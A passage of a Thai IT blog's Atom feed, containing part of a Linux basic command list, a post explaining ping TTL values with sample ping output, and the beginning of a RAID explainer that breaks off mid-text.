สร้างและแก้ไขเท็กซ์ไฟล์&lt;br /&gt;nano สร้างและแก้ไขเท็กซ์ไฟล์&lt;br /&gt;umask ตั้งค่าสิทธิแบบดีฟอลต์ของไฟล์&lt;br /&gt;soffice สร้างและแก้ไขไฟล์&lt;br /&gt;Word/Excel/PowerPoint&lt;br /&gt;abiword สร้างและแก้ไขไฟล์เอกสาร Word&lt;br /&gt;gnumeric สร้างและแก้ไขไฟล์เอกสาร Excel&lt;br /&gt;คุณสมบัติของไฟล์&lt;br /&gt;stat ดูคุณสมบัติของไฟล์&lt;br /&gt;wc นับจำนวนไบต์ / คำ / บรรทัด&lt;br /&gt;du แสดงการใช้งานดิสก์&lt;br /&gt;file แสดงชนิดของไฟล์&lt;br /&gt;touch สร้างไฟล์เปล่า / เปลี่ยนเวลาของไฟล์&lt;br /&gt;chown เปลี่ยนเจ้าของไฟล์ / ไดเรคเทอรี&lt;br /&gt;chgrp เปลี่ยนกลุ่มของไฟล์ / ไดเรคเทอรี&lt;br /&gt;chmod เปลี่ยนสิทธิของไลฟ์ / ไดเรคเทอรี&lt;br /&gt;chattr เปลี่ยนคุณสมบัติขั้นสูงของไฟล์&lt;br /&gt;lsattr แสดงคุณสมบัติขั้นสูงของไฟล์&lt;br /&gt;ค้นหาไฟล์ / ไดเรคเทอรี&lt;br /&gt;find ค้นหาไฟล์ / ไดเรคเทอรี&lt;br /&gt;slocate ค้นหาไฟล์จากอินเด็กซ์&lt;br /&gt;which ค้นหาไฟล์&lt;br /&gt;whereis ค้นหาไฟล์&lt;br /&gt;จัดการกับไฟล์&lt;br /&gt;grep ค้นหาข้อความในไฟล์&lt;br /&gt;cut แยกไฟล์ตามข้อความ&lt;br /&gt;paste รวมไฟล์เข้าด้วยกัน&lt;br /&gt;tr แปลงหรือลงตัวอักษร&lt;br /&gt;sort เรียงข้อความทุกบรรทัด&lt;br /&gt;tee นำข้อมูลจาก stdin ไปยัง stdout&lt;br /&gt;และไฟล์อีกทอด&lt;br /&gt;การบีบอัดไฟล์ / ไดเรคเทอรี&lt;br /&gt;gzip บีบอัดไฟล์ GNU .zip&lt;br /&gt;compress บีบอัดไฟล์ Unix&lt;br /&gt;bzip2 บีบอัดไฟล์ .bz2&lt;br /&gt;zip บับอัดไฟล์ Windows Zip&lt;br /&gt;เปรียบเทียบไฟล์&lt;br /&gt;diff เปรียบเทียบไฟล์บรรทัดต่อบรรทัด&lt;br /&gt;comm เปรียบเทียบไฟล์แบบจัดเรียง&lt;br /&gt;cmp เปรียบเทียบไฟล์ในรูปแบบไบต์ต่อไบต์&lt;br /&gt;md5sum คำนวณ checksums&lt;br /&gt;ดิสก์และระบบไฟล์&lt;br /&gt;df แสดงพื้นดิสก์ที่เหลืออยู่&lt;br /&gt;mount เมาท์ดิสก์ เพื่อให้ใช้งานได้&lt;br /&gt;fsck ตรวจสอบความผิดพลาดดิสก์&lt;br /&gt;sync ทำให้ข้อมูลในดิสก์เหมือนกัน&lt;br /&gt;fdisk -l แสดงข้อมูลของดิสก์&lt;br /&gt;สำรองข้อมูล&lt;br /&gt;dump สำรองข้อมูลของดิสก์&lt;br /&gt;restore นำข้อมูลที่สำรองไว้กลับคืนมา&lt;br /&gt;tar สำรองข้อมูลลงในไฟล์ / เทป&lt;br /&gt;cdrecord เบิร์นข้อมูลไปที่ซีดีรอม&lt;br /&gt;rsync สำรองข้อมูลไปยังดิสก์อื่น&lt;br /&gt;Document Created by Scribus Open Source - 09/2553&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7705119745791690074-4429650556855771621?l=vongvilai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/4429650556855771621/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7705119745791690074&amp;postID=4429650556855771621&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/4429650556855771621'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/4429650556855771621'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/2011/04/linux-basic-command.html' title='Linux basic command'/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7705119745791690074.post-815978850219164821</id><published>2011-04-18T02:40:00.001-07:00</published><updated>2011-04-18T02:40:18.069-07:00</updated><title type='text'>PING</title><content type='html'>ค่า TTL เมื่อคุณใช้คำสั่ง ping คืออะไร ?&lt;br /&gt;&lt;br /&gt;    &lt;br /&gt;&lt;span style="background-color: red;"&gt;C:\Documents and Settings\f&amp;gt;ping 61.7.152.115 -t&lt;br /&gt;&lt;br /&gt;Pinging 61.7.152.115 with 32 bytes of data:&lt;br /&gt;&lt;br /&gt;Reply from 61.7.152.115: bytes=32 time=17ms TTL=53&lt;br /&gt;Reply from 61.7.152.115: bytes=32 time=21ms TTL=53&lt;br /&gt;Reply from 61.7.152.115: bytes=32 time=23ms TTL=53&lt;br /&gt;Reply from 61.7.152.115: bytes=32 time=62ms TTL=53&lt;br /&gt;Reply from 61.7.152.115: bytes=32 time=21ms TTL=53&lt;br /&gt;Reply from 61.7.152.115: bytes=32 time=54ms TTL=53&lt;br /&gt;Reply from 61.7.152.115: bytes=32 time=48ms TTL=53&lt;br /&gt;Reply from 61.7.152.115: bytes=32 time=50ms TTL=53&lt;br /&gt;Reply from 61.7.152.115: bytes=32 time=34ms TTL=53&lt;br /&gt;Reply from 61.7.152.115: bytes=32 time=23ms TTL=53&lt;br /&gt;Reply from 61.7.152.115: bytes=32 time=37ms TTL=53&lt;br /&gt;Reply from 61.7.152.115: bytes=32 time=101ms TTL=53&lt;br /&gt;Reply from 61.7.152.115: bytes=32 time=32ms TTL=53&lt;br /&gt;Reply from 61.7.152.115: bytes=32 time=52ms TTL=53&lt;br /&gt;&lt;br /&gt;Ping statistics for 61.7.152.115:&lt;br /&gt;Packets: Sent = 14, Received = 14, Lost = 0 (0% loss),&lt;br /&gt;Approximate round trip times in milli-seconds:&lt;br /&gt;Minimum = 17ms, Maximum = 101ms, Average = 41ms&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;TTL ใช้บอกจำนวน Router หรือ Network ซึ่ง Traffic ทำการกระโดดข้าม ซึ่งจะต่างกันตามนี้ครับ&lt;br /&gt;&lt;br /&gt;TTL 64 จะเป็น ระบบ Linux หรือ Router ขนาดเล็กๆ&lt;br /&gt;TTL 128 เป็น OS พวก X86 เช่น Windows ต่างๆ&lt;br /&gt;TTL 254 เป็น Router ขนาดกลาง และ ใหญ่ ครับ&lt;br /&gt;&lt;br /&gt;ค่า TTL จะลดลงตามจำนวน Router ที่มันผ่านครับ&lt;br /&gt;&lt;br /&gt;เช่น คุณปิงจากบ้านไปยังจุดหมายปลายทาง ดูตัวอย่างข้างล่างนะครับ&lt;br /&gt;&lt;br /&gt;1.  คุณปิงจากเครื่องคุณไปยัง เครื่องในวงแลนเดียวกัน ไม่มีการกระโดดผ่าน  Router เนื่องจากเครื่องของคุณ และ ปลายทางเป็น OS X86 คุณจะได้ ค่า TTL =  128-0 = 128&lt;br /&gt;&lt;br /&gt;2. คุณปิงจากเครื่องคุณไปยัง เครื่องต่างวงแลนกัน  มีการกระโดดผ่าน Router 2 ตัว เนื่องจากเครื่องของคุณ และ ปลายทางเป็น OS  X86 คุณจะได้ ค่า TTL = 128-2 = 126&lt;br /&gt;&lt;br /&gt;3. คุณปิงจากเครื่องคุณไปยัง  เครื่องในวงแลนเดียวกัน ไม่มีการกระโดดผ่าน Router เครื่องปลายทางเป็น  Linux คุณจะได้ ค่า TTL = 64-0 = 64&lt;br /&gt;&lt;br /&gt;4. คุณปิงจากเครื่องคุณไปยัง  เครื่องต่างวงแลนกัน มีการกระโดดผ่าน Router 1 ตัว เครื่องปลายทางเป็น  Linux คุณจะได้ ค่า TTL = 64-1 = 63&lt;br /&gt;&lt;br /&gt;5. คุณปิงจากเครื่องคุณไปยัง Router ในวงแลนเดียวกัน คุณจะได้ ค่า TTL = 254-0 = 254&lt;br /&gt;&lt;br /&gt;6.  คุณปิงจากเครื่องคุณไปยัง Router ของเพื่อนคุณซึ่งเป็น Router ขนาดเล็ก  (Linux Embeded) มีการกระโดดผ่าน 6 Router จะได้ ค่า TTL = 64-6 = 58&lt;br /&gt;&lt;br /&gt;7.คุณปิงจากเครื่องคุณไปยัง Router ของ ISP มีการกระโดดข้าม 4 ครั้ง คุณจะได้ ค่า TTL = 254-4 = 250&lt;br /&gt;&lt;br /&gt;แล้ว  ก็ ถ้า ค่า TTL ต่ำจนถึง จำนวนหนึ่ง ระบบจะตัดสัญญาณทิ้งทั้งหมด  ซึ่งจะทำให้เกิดอาการที่เรียกว่า TTL Error หรือ Request time out ครับ&lt;br /&gt;เมื่อค่า TTL มากหมายถึงดีกว่าเพราะว่าสามารถส่งผ่าน HUP ได้มากกว่าคับ...&lt;br /&gt;&lt;br /&gt;Credit  &lt;a href="http://smf.ruk-com.in.th/go/http://www.ensthai.com/tip_trick/TTL.php" rel="nofollow" target="_blank"&gt;http://www.ensthai.com/tip_trick/TTL.php&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7705119745791690074-815978850219164821?l=vongvilai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/815978850219164821/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7705119745791690074&amp;postID=815978850219164821&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/815978850219164821'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/815978850219164821'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/2011/04/ping.html' title='PING'/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7705119745791690074.post-2367901017872499904</id><published>2011-04-18T02:31:00.002-07:00</published><updated>2011-04-18T02:32:12.308-07:00</updated><title type='text'>RAID</title><content type='html'>&lt;table align="center" border="0" cellpadding="2" cellspacing="2" width="95%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td align="left" valign="top" width="681"&gt;&lt;p class="style73"&gt;&lt;span lang="th"&gt;&lt;strong&gt;&lt;span class="style81"&gt;RAID คืออะไร ?&lt;/span&gt;&lt;br /&gt;                     &lt;br /&gt;                    &lt;/strong&gt;&lt;/span&gt;&lt;span lang="th"&gt;RAID  (Redundant Array of Inexpensive Disk) คือการนำเอา Harddisk ตั้งแต่ 2  ตัวขึ้นไปมาทำงานร่วมกันเสมือนเป็น harddisk  ตัวเดียวที่มีประสิทธิภาพสูงขึ้น  หรือมีโอกาสที่จะสูญเสียข้อมูลน้อยลงในกรณีที่เกิดความผิดพลาดของ hardware  (fault tolerance) กลุ่มของ harddisk ที่เอามาทำงานร่วมกันในเทคโนโลยี RAID  จะถูกเรียกว่า disk array โดยระบบปฏิบัติการและ software จะเห็น harddisk  ทั้งหมดเป็นตัวเดียว ซึ่งการทำ RAID  นี้นอกจากจะเป็นการเพิ่มประสิทธิภาพของการเก็บรักษาข้อมูลแล้ว  ยังเป็นการประหยัดอีกด้วย เพราะว่ายิ่ง harddisk มีความจุมากเท่าไหร่  ราคาของมันก็จะยิ่งสูงขึ้นเท่านั้น ดังนั้น สำหรับงาน  ที่จำเป็นต้องใช้พื้นที่ในการเก็บข้อมูลมากๆ อย่าง Database Server  ถ้าเราเลือกใช้ harddisk ความจุมากๆ เพียงตัวเดียว  ในการเก็บข้อมูลหรือที่เรียกกันว่าเป็นการใช้ harddisk แบบ SLED หรือ  Single Large Expensive Disk ราคาที่เราเสียไปกับ harddisk ตัวเดียวนั้น  อาจจะไม่คุ้มค่าเท่ากับการใช้ harddisk ที่มีความจุต่ำกว่า  (ซึ่งแน่นอนว่าราคาต้องถูกกว่าหลายเท่าด้วย)  นำมาต่อเพื่อให้ทำงานร่วมกันหรือที่เรียกกันว่าเป็นการใช้ harddisk แบบ  RAID&lt;/span&gt;&lt;/p&gt;                       &lt;p class="style73"&gt;&lt;strong&gt;&lt;span lang="th"&gt;เทคโนโลยี &lt;/span&gt;RAID&lt;br /&gt;                       &lt;br /&gt;                      &lt;/strong&gt;&lt;span lang="th"&gt;ความเป็นมา ของ &lt;/span&gt;RAID Stripping &lt;span lang="th"&gt;และ &lt;/span&gt;Parity &lt;span lang="th"&gt;ระดับของ &lt;/span&gt;RAID RAID 1, RAID 3 , RAID 5 &lt;span lang="th"&gt;ส่วนประกอบของ &lt;/span&gt;RAID &lt;span lang="th"&gt;การจัดการ &lt;/span&gt;RAID &lt;span lang="th"&gt;ความเป็นมา &lt;/span&gt;&lt;/p&gt;                       &lt;p class="style73"&gt;    &lt;span lang="th"&gt;คำว่า &lt;/span&gt;RAID &lt;span lang="th"&gt;อ่านออกเสียงว่า &lt;/span&gt;"&lt;span lang="th"&gt;เหรด&lt;/span&gt;" &lt;span lang="th"&gt;ในลักษณะเดียวกันกับ พาเหรด      ในปี &lt;/span&gt;1987 Patterson, Gibson &lt;span lang="th"&gt;และ &lt;/span&gt;Katz &lt;span lang="th"&gt;ซึ่งทำงานที่ &lt;/span&gt;University of California    Berkeley &lt;span lang="th"&gt;ได้พิมพ์บทความเกี่ยวกับ &lt;/span&gt;A Case for Redundant Arrays of  Inexpensive Disks (RAID) &lt;span lang="th"&gt;โดยเอกสารนี้ได้บรรยายถึงชนิดของดิสก์อะเรย์ประเภทต่างๆ โดยเรียกชื่อย่อๆว่า &lt;/span&gt;RAID &lt;span lang="th"&gt;หลักการพื้นฐานของ &lt;/span&gt;RAID &lt;span lang="th"&gt;มา จากแนวคิดที่ว่า  เมื่อเอาดิสก์ที่มีความจุน้อยหลายๆตัวมารวมกัน     ประสิทธิภาพที่ได้จากการใช้งานจะมากกว่าใช้ดิสก์ขนาดใหญ่เพียงตัวเดียว    โดยเมื่อเอาดิสก์มารวมกันแล้วคอมพิวเตอร์จะต้องเห็นว่าเป็นดิสก์ขนาดใหญ่ตัว เดียว &lt;/span&gt;(&lt;span lang="th"&gt;เป็น &lt;/span&gt;Logical Drive) &lt;/p&gt;                       &lt;p class="style73"&gt;       &lt;span lang="th"&gt;ครั้นต่อมา &lt;/span&gt;RAID &lt;span lang="th"&gt;ก็เปลี่ยนคำจำกัดความเป็น &lt;/span&gt;Redundant Array of independent  disks &lt;span lang="th"&gt;แปลไทยได้อย่างไม่สละสลวยว่า  ระบบเผื่อไว้แบบอะเรย์ของดิสก์ที่เป็นอิสระต่อกัน ฟังแล้วงงมั้ย&lt;/span&gt;? &lt;span lang="th"&gt;งงมากครับ   &lt;/span&gt;RAID &lt;span lang="th"&gt;ก็คือ &lt;/span&gt;RAID &lt;span lang="th"&gt;ฟัง แล้วง่าย แต่ไม่เข้าใจไปใหญ่ ลองนึกง่ายๆ ครับ   ถ้าเรามีฮาร์ดดิสก์เพียงตัวเดียว วันหนึ่งถ้าพังก็พังไปเลย ข้อมูลหายหมด   แต่ถ้านำฮาร์ดดิสก์หลายๆ ตัวมาต่อกัน เช่น &lt;/span&gt;5 &lt;span lang="th"&gt;ตัว  ข้อดีคือ ได้ความจุเพิ่มขึ้น    แต่ถ้าตัวใดตัวหนึ่งพังก็จะเสียข้อมูลในฮาร์ดดิสก์ตัวนั้นไป   แต่จะป้องกันได้มากกว่า ถ้าหากเพิ่มฮาร์ดดิสก์เข้าไป &lt;/span&gt;3 &lt;span lang="th"&gt;ตัว  แล้วใช้ระบบการจัดแบ่งเก็บข้อมูลในแต่ละตัว พร้อมกัน แต่ในแต่ละตัวก็มีข้อมูลที่ซ้ำกัน หรือมีการเก็บ &lt;/span&gt;Parity &lt;span lang="th"&gt;ของอีกตัวไว้ ถ้าเกิดวันใดที่ตัวหนึ่งเกิดพังไป ข้อมูลในตัวที่พังก็ยังคงมีเก็บ    &lt;/span&gt;"&lt;span lang="th"&gt;สำรองเผื่อเสีย&lt;/span&gt;" &lt;span lang="th"&gt;ไว้  การแก้ไข ก็เพียงเอาฮาร์ดดิสก์ใหม่มาเปลี่ยน แล้วค่อยๆ   ผ่องถ่ายข้อมูลที่ฮาร์ดดิสก์ตัวเก่าที่พังไปเคยฝากไว้กับฮาร์ดดิสก์ตัวอื่น ลงมาใหม่ๆ ทำให้สมบูรณ์แบบ ทั้งหมดนั้นเรียกว่าระบบ &lt;/span&gt;Fault Tolerance    &lt;span lang="th"&gt;แปลเป็นไทยก็คือ&lt;/span&gt; "&lt;span lang="th"&gt;ระบบที่คงทนต่อความเสียหาย&lt;/span&gt;" &lt;/p&gt;                       &lt;p class="style73"&gt;&lt;span lang="th"&gt;คือ  แทนที่ว่าฮาร์ดดิสก์พังไปตัวหนึ่งก็ต้อง &lt;/span&gt;"Down" &lt;span lang="th"&gt;เซิร์ฟเวอร์ &lt;/span&gt;  &lt;span lang="th"&gt;ทำ ให้ระบบต้องหยุดชะงัก เพื่อป้องกันความเสียหายดังกล่าว   จะต้องสร้างระบบให้คงทนต่อความเสียหาย ฮาร์ดดิสก์พังไปแล้วหนึ่งตัว    ระบบยังทำงานต่อไปเหมือนไม่มีอะไรเกิดขึ้น โดยวิธีการนี้ จะต้องใช้ &lt;/span&gt;RAID   &lt;span lang="th"&gt;ซึ่งเป็นหัวใจของการสร้าง &lt;/span&gt;"&lt;span lang="th"&gt;ดิสก์ที่คงทนต่อความเสียหาย&lt;/span&gt;"&lt;/p&gt;                       &lt;p class="style73"&gt; &lt;strong&gt;&lt;span lang="th"&gt;คำจำกัดความของ &lt;/span&gt;RAID &lt;/strong&gt;&lt;span lang="th"&gt;&lt;strong&gt;คือ&lt;/strong&gt; &lt;/span&gt;&lt;/p&gt;                       &lt;p class="style73"&gt;                    &lt;span lang="th"&gt;เทคโนโลยี ของหน่วยเก็บข้อมูลที่ใช้เพื่อปรับปรุงระบบให้มีความสามารถในการประมวลผล เกี่ยวกับการจัดเก็บข้อมูล    เทคโนโลยีดังกล่าวจะออกแบบเพื่อให้ระบบการจัดเก็บข้อมูลแบบอะเรย์มีความ เชื่อถือได้    และเพื่อใช้ข้อดีของการนำประสิทธิภาพที่เพิ่มขึ้นจากการเพิ่มฮาร์ดดิสก์เข้า ไปในระบบหลายๆ&lt;/span&gt;   &lt;span lang="th"&gt;ตัวเข้ามาใช้งาน นี่เขียนแบบวิชาการต้องแบบนั้น แต่อ่านไม่รู้เรื่องเลย    แปลง่ายๆ คือ ฮาร์ดดิสก์ที่ต่อกันเป็นสมาชิกของอะเรย์    &lt;/span&gt;(&lt;span lang="th"&gt;แบบเดียวกับทางคณิตศาสตร์ เรื่องของ อะเรย์&lt;/span&gt;)   &lt;span lang="th"&gt;แล้ว ทำอย่างไรให้ทำงานได้น่าเชื่อถือ แล้วการมีฮาร์ดดิสก์หลายๆ ตัว       และให้เขียนและอ่านหลายๆ ตัว พร้อมๆ กัน   จะได้ประสิทธิภาพดีกว่าเขียนและอ่านตัวเดียว ซึ่งต้อง &lt;/span&gt;"&lt;span lang="th"&gt;รอ&lt;/span&gt;"  &lt;span lang="th"&gt;ให้การเขียนเสร็จสิ้นเป็นคราวๆ ถึงจะเริ่มเขียนใหม่ได้  ประโยชน์อีกประการของ &lt;/span&gt;RAID &lt;span lang="th"&gt;คือ &lt;/span&gt;"&lt;span lang="th"&gt;เผื่อเสีย&lt;/span&gt;" &lt;span lang="th"&gt;คือ  ถ้าตัวหนึ่งเสีย   อีกสลับตัวที่สำรองไว้ขึ้นมาทำงานโดยอัตโนมัติ   เพื่อให้มั่นใจว่าระบบนั้นจะคงทนต่อความเสียหาย ระบบดำเนินการต่อไปได้    โดยไม่ต้องถูกขัดจังหวะจากการเสียเวลาซ่อมแซม พูดง่ายๆ ฝรั่งเขาว่า &lt;/span&gt;disk       access will still continue normally with the failure transparent to the  host system &lt;span lang="th"&gt;คือ การใช้งานดิสก์ยังคงเกิดขึ้นอย่างปกติ ตัวที่เสีย       ระบบคอมพิวเตอร์ก็จะมองผ่านไป    ปัจจุบันการนำ &lt;/span&gt;RAID &lt;span lang="th"&gt;มาใช้งานนั้น เกี่ยวกับเซิร์ฟเวอร์เป็นส่วนใหญ่   เมื่อระบบเครือข่ายถูกพัฒนาขึ้นใช้ ความสำคัญของหน่วยเก็บข้อมูล &lt;/span&gt;(Storage  System) &lt;span lang="th"&gt;ก็ ทวีความสำคัญขึ้น เพราะในเซิร์ฟเวอร์นั้น ถ้าหากว่าฮาร์ดดิสก์ชำรุด   ใช้งานไม่ได้  นอกจากจะสูญเสียข้อมูลที่เก็บไว้ในฮาร์ดดิสก์ไปทั้งหมดแล้วยังจะต้องเสีย เวลาเพื่อรอให้การซ่อมแซมแล้วเสร็จ    ซึ่งหมายถึงการสูญเสียโอกาสทางธุรกิจ  &lt;/span&gt;   &lt;/p&gt;                       &lt;p class="style73"&gt;&lt;strong&gt;&lt;span lang="th"&gt;ประโยชน์จาก &lt;/span&gt;RAID&lt;/strong&gt;  &lt;/p&gt;                       &lt;p class="style73"&gt;1.&lt;span lang="th"&gt;เอื้อประโยชน์ในการรวมเอาพื้นที่จากฮาร์ดดิสก์หลายๆ ตัวเข้ารวมกันเป็น  &lt;/span&gt;"&lt;span lang="th"&gt;ก้อน&lt;/span&gt;" &lt;span lang="th"&gt;ก้อนเดียว  &lt;/span&gt;&lt;/p&gt;                       &lt;p class="style73"&gt;2.&lt;span lang="th"&gt;ใช้ประโยชน์จากการ &lt;/span&gt;"&lt;span lang="th"&gt;เข้าถึง&lt;/span&gt;" &lt;span lang="th"&gt;ของฮาร์ดดิสก์แต่ละตัว ซึ่งหมายถึง  จะแบ่งข้อมูลออกเป็นบล๊อคย่อยๆ แล้วแยกกันไปเขียน &lt;/span&gt;(&lt;span lang="th"&gt;อ่าน&lt;/span&gt;) &lt;span lang="th"&gt;ลงบนฮาร์ดดิสก์แต่ละตัว ทำให้ย่นระยะเวลาทำงาน และลดระยะเวลาคอย &lt;/span&gt;(Wait  State) &lt;/p&gt;                       &lt;p class="style73"&gt;3. &lt;span lang="th"&gt;มีระบบ &lt;/span&gt;"&lt;span lang="th"&gt;เผื่อเสีย&lt;/span&gt;" &lt;span lang="th"&gt;โดยการทำ &lt;/span&gt;"Mirroring" &lt;span lang="th"&gt;หรือ &lt;/span&gt;Parity  &lt;span lang="th"&gt;การกระจายการเขียน&lt;/span&gt;-&lt;span lang="th"&gt;อ่านข้อมูล &lt;/span&gt;(Stripping) &lt;span lang="th"&gt;และพาริตี้ &lt;/span&gt;(Parity) &lt;/p&gt;                       &lt;p class="style73"&gt;&lt;strong&gt;&lt;span lang="th"&gt;การกระจายการเขียน&lt;/span&gt;-&lt;span lang="th"&gt;อ่านข้อมูล &lt;/span&gt;(Stripping) &lt;span lang="th"&gt;และพาริตี้ &lt;/span&gt;(Parity) 2 &lt;span lang="th"&gt;กลไก  หัวใจของ &lt;/span&gt;RAID&lt;/strong&gt; &lt;/p&gt;                       &lt;p class="style73"&gt;                 &lt;span lang="th"&gt;การนำเอาดิสก์หลายๆ ตัวมารวมกันเป็นดิสก์อะเรย์ แล้วกำหนดให้เป็น &lt;/span&gt;Logical  Drive &lt;span lang="th"&gt;เพียงหนึ่งตัว นั้นมี &lt;/span&gt;"Stripping" &lt;span lang="th"&gt;เป็นหัวใจในการทำงาน กล่าวได้ว่า &lt;/span&gt;Stripping &lt;span lang="th"&gt;เป็นหลักการพื้นฐานของ &lt;/span&gt;RAID &lt;span lang="th"&gt;คือ เมื่อมีฮาร์ดดิสก์หลายๆ  ตัวมารวมกัน การเขียนข้อมูลชุดหนึ่งๆ ลงดิสก์ เพื่อให้ได้ประสิทธิภาพดีที่สุด  ต้องมีการ &lt;/span&gt;"&lt;span lang="th"&gt;กระจาย&lt;/span&gt;" &lt;span lang="th"&gt;ข้อมูลลงไปในดิสก์ทุกตัวในอะเรย์  เรียกการกระจายเขียน&lt;/span&gt;-&lt;span lang="th"&gt;อ่านข้อมูลเหล่านี้ว่า &lt;/span&gt;Stripping &lt;/p&gt;                       &lt;p class="style73"&gt;                 &lt;span lang="th"&gt;กระบวนการ &lt;/span&gt;Stripping &lt;span lang="th"&gt;นั้นสิ่งที่สำคัญคือ &lt;/span&gt;I/O  &lt;span lang="th"&gt;เพราะต้องมีการเข้าถึงฮาร์ดดิสก์ในอะเรย์  ต้องจัดการให้ดิสก์ทุกตัวบรรจุข้อมูลที่ถูกเขียน&lt;/span&gt;-&lt;span lang="th"&gt;อ่าน &lt;/span&gt;(Access) &lt;span lang="th"&gt;ในสภาวะที่สมดุลกัน ยิ่ง &lt;/span&gt;RAID Controller &lt;span lang="th"&gt;ออกแบบเท่าไร ก็จะได้ประสิทธิภาพจาก  &lt;/span&gt;I/O &lt;span lang="th"&gt;มากขึ้น สำหรับตัวควบคุมอะเรย์แบบฮาร์ดแวร์ &lt;/span&gt;(RAID Controller)    &lt;span lang="th"&gt;การวัดประสิทธิภาพในการทำงาน สิ่งที่นำมาวัดประสิทธิภาพก็คือ &lt;/span&gt;I/O Performance&lt;/p&gt;                       &lt;p class="style73"&gt;&lt;span lang="th"&gt;&lt;strong&gt;บันทึกเทคนิค&lt;/strong&gt; &lt;/span&gt;&lt;/p&gt;                       &lt;p class="style73"&gt;                 &lt;span lang="th"&gt;ทำไมถึงว่า &lt;/span&gt;I/O &lt;span lang="th"&gt;สำคัญ กรณีนี้ จะชี้ให้เห็นว่าถ้าหากเป็น &lt;/span&gt;file server &lt;span lang="th"&gt;นั้น &lt;/span&gt;I/O &lt;span lang="th"&gt;ยังมีความสำคัญไม่มากนัก เพราะ &lt;/span&gt;user &lt;span lang="th"&gt;จะไม่ค่อยเปิด&lt;/span&gt;/&lt;span lang="th"&gt;ปิด &lt;/span&gt;file &lt;span lang="th"&gt;เท่าไหร่ &lt;/span&gt;(&lt;span lang="th"&gt;เว้นแต่มีกรณีที่มีการนำเอา &lt;/span&gt;network drive &lt;span lang="th"&gt;เป็น &lt;/span&gt;swap space  &lt;span lang="th"&gt;แต่นั่นไม่ใช่ &lt;/span&gt;file request &lt;span lang="th"&gt;แล้ว เพราะการเปิดแต่ละครั้ง จะเป็นการเปิดเพื่อนำมาแก้ไข ซึ่งกว่าจะ &lt;/span&gt;save &lt;span lang="th"&gt;บางทีใช้เวลานานกว่า &lt;/span&gt;10-15 &lt;span lang="th"&gt;นาที สมมุติว่ามีผู้ใช้ &lt;/span&gt;20 &lt;span lang="th"&gt;คน เฉลี่ยเวลาที่จะต้องทำ &lt;/span&gt;I/O  &lt;span lang="th"&gt;ก็ยังนานระดับเป็นนาที ซึ่งถือว่าไม่มากนัก แต่ถ้าเป็น &lt;/span&gt;database &lt;span lang="th"&gt;ที่ต้องทำงานระดับ &lt;/span&gt;record locking &lt;span lang="th"&gt;นั้น การเปิดข้อมูลมาแก้ไข &lt;/span&gt;1 record  &lt;span lang="th"&gt;จะมี &lt;/span&gt;I/O &lt;span lang="th"&gt;อย่างน้อย &lt;/span&gt;3-4 &lt;span lang="th"&gt;ครั้ง &lt;/span&gt;(database open, record open, index  open, lock open) &lt;span lang="th"&gt;และเฉลี่ย ไม่เกิน &lt;/span&gt;30 &lt;span lang="th"&gt;วินาทีก็ต้องมี &lt;/span&gt;I/O &lt;span lang="th"&gt;อีกรอบ  เพื่อ &lt;/span&gt;write &lt;span lang="th"&gt;ซึ่งแพงกว่า &lt;/span&gt;read &lt;span lang="th"&gt;มากเนื่องจากต้องมี &lt;/span&gt;concurrency control, journalizing, log &lt;span lang="th"&gt;ยิ่งพวก &lt;/span&gt;2-phase commitment (&lt;span lang="th"&gt;เขียน &lt;/span&gt;changed image &lt;span lang="th"&gt;ก่อน &lt;/span&gt;-&amp;gt; &lt;span lang="th"&gt;ลบ &lt;/span&gt;record &lt;span lang="th"&gt;เดิม &lt;/span&gt;-&amp;gt; &lt;span lang="th"&gt;เปลี่ยน &lt;/span&gt;changed image &lt;span lang="th"&gt;เป็น &lt;/span&gt;record &lt;span lang="th"&gt;ใหม่&lt;/span&gt;) &lt;span lang="th"&gt;จะใช้ &lt;/span&gt;I/O &lt;span lang="th"&gt;ถึง &lt;/span&gt;2 &lt;span lang="th"&gt;เท่า เฉลี่ย &lt;/span&gt;30 &lt;span lang="th"&gt;วินาที มี &lt;/span&gt;I/O &lt;span lang="th"&gt;ไม่น้อยกว่า &lt;/span&gt;15 &lt;span lang="th"&gt;ครั้ง ยิ่งพวก &lt;/span&gt;banking &lt;span lang="th"&gt;หรือ &lt;/span&gt;online service &lt;span lang="th"&gt;เวลาการจัดการ &lt;/span&gt;record &lt;span lang="th"&gt;จะน้อยกว่า &lt;/span&gt;10 &lt;span lang="th"&gt;วินาทีอีก &lt;/span&gt;&lt;/p&gt;                       &lt;p class="style73"&gt;                  &lt;span lang="th"&gt;ถ้าประมาณว่าเฉลี่ย &lt;/span&gt;15 &lt;span lang="th"&gt;วินาที มี &lt;/span&gt;I/O 15 &lt;span lang="th"&gt;หน &lt;/span&gt;1 &lt;span lang="th"&gt;หน&lt;/span&gt;/&lt;span lang="th"&gt;วินาที  